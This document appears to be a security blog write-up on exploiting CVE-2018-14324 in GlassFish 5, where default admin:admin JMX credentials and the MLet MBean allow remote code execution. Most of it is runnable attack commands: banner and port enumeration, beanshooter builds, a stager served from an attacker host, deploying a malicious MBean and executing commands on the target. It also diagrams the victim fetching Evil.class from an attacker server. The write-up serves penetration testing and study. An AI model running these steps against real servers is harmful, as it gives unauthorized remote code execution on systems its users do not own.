# Hacking Eclipse GlassFish - CVE-2018-14324

The [description of CVE-2018-14324](https://nvd.nist.gov/vuln/detail/CVE-2018-14324) does not fully explain the impact of this vulnerability. TLDR you have access to Java Management Extensions (JMX) via hardcoded admin:admin creds.

While impact is listed as " potentially sensitive information, perform database operations, or manipulate the demo via a JMX RMI session" it does not explain what the manipulation via JMX RMI session means.
I dug in only because of the high CVSS score of 9.8 and found out that you can practically achieve RCE via `javax.management.loading:type=MLet` MBean, which is by default enabled in a GlassFish 5 instance.

## Discovery

Enumerate the GlassFish server by looking at the version banner.

```bash
curl http://<TARGET>:8080/ -i | grep 'Server:'
curl http://<TARGET>:8181/ -ik | grep 'Server:'
curl http://<TARGET>:80/ -i | grep 'Server:'
```
If the version is 5, it is vulnerable to CVE-2018-14324.

Then check if the JMX RMI service is running on port 7676.

```bash
nc <IP_ADDRESS> 7676
```

You should see the connection string to the JMX RMI service. Take the string for later use.

For example:
```java
service:jmx:rmi://vm31465/jndi/rmi://vm31465:8686/vm31465/7676/jmx
```

As you can see, the hostname `vm31465` is used in the connection string, there are two ports mentioned, 8686 and 7676.

- 7676 is the JMX RMI port used for JNDI lookup
- 8686 is the JMX Endpoint port used for JMX communication

You should add vm31465 to your /etc/hosts file pointing to <TARGET> IP address. If you use Beanshooter, it is not necessary.

## Enumeration

What the hell is JMX? It is Java Management Extensions (JMX), a technology that enables you to implement management interfaces for Java applications. Think about it as SNMP for Java applications.

First, you need to enumerate the available MBeans on the target system.

```bash
java DumpJMX.java "service:jmx:rmi:///jndi/rmi://<TARGET>:7776/<TARGET>/7676/jmxrmi"
# if does not work
java -jar beanshooter-4.1.0-jar-with-dependencies.jar enum <IP> 8686 --password admin --user admin
```

With this script, you will obtain a list of MBeans, their attributes, and operations.

Mbean `com.sun.management:type=DiagnosticCommand` lets you run diagnostic commands on the target JVM. You can use it to enumerate system properties, see `DiagnosticCommand.java` for more info.

If you see `javax.management.loading:type=MLet`, you should be able to exploit the target. This MBean allows you to load remote Java classes into the target JVM.
However, the Java security manager might prevent you from executing arbitrary code.
The only working exploit for RCE was the `tomka` module in [beanshooter](https://github.com/qtc-de/beanshooter). Custom exploits were blocked by the security manager. The MLet loading still worked, but the class was not allowed to execute code.

## Exploitation

Use the Beanshooter tomka module to exploit the target.

```bash
git clone https://github.com/qtc-de/beanshooter.git
cd beanshooter
mvn clean package -DskipTests

## STAGER
java -jar beanshooter-4.1.0-jar-with-dependencies.jar stager <ATTACKER-IP> 8080 tonka

## DEPLOY

java -jar target/beanshooter-4.1.0-jar-with-dependencies.jar tonka deploy --username admin --password admin --stack-trace <TARGET> 7776 --stager-url http://<ATTACKER-IP>:8080 --no-stager

## COMMAND EXECUTION

java -jar target/beanshooter-4.1.0-jar-with-dependencies.jar tonka exec --username admin --password admin --stack-trace <TARGET> 7776 'id'
```

You can also debug by writing your own MBean loader and monitoring if the target connects to your MLet server.
The flow is as follows:
```
attacker -> victim:7776 : javax.management.loading:type=MLet MBean lookup

attacker:8080 <- victim:7776 : Request MLet file
attacker:8080 -> victim:7776 : MLet with URL to Java class file (e.g. http://attacker:8080/Evil.class)
attacker:8080 <- victim:7776 : Request Java class file
attacker:8080 -> victim:7776 : Java class file

attacker -> victim:7776 : Invoke method on loaded Java class (e.g. Evil.listFiles())
```

## Resources

- https://www.synack.com/exploits-explained/exploits-explained-java-jmxs-exploitation-problems-and-resolutions/
- https://nvd.nist.gov/vuln/detail/CVE-2018-14324
- https://0xdf.gitlab.io/2025/07/29/htb-manage.html#
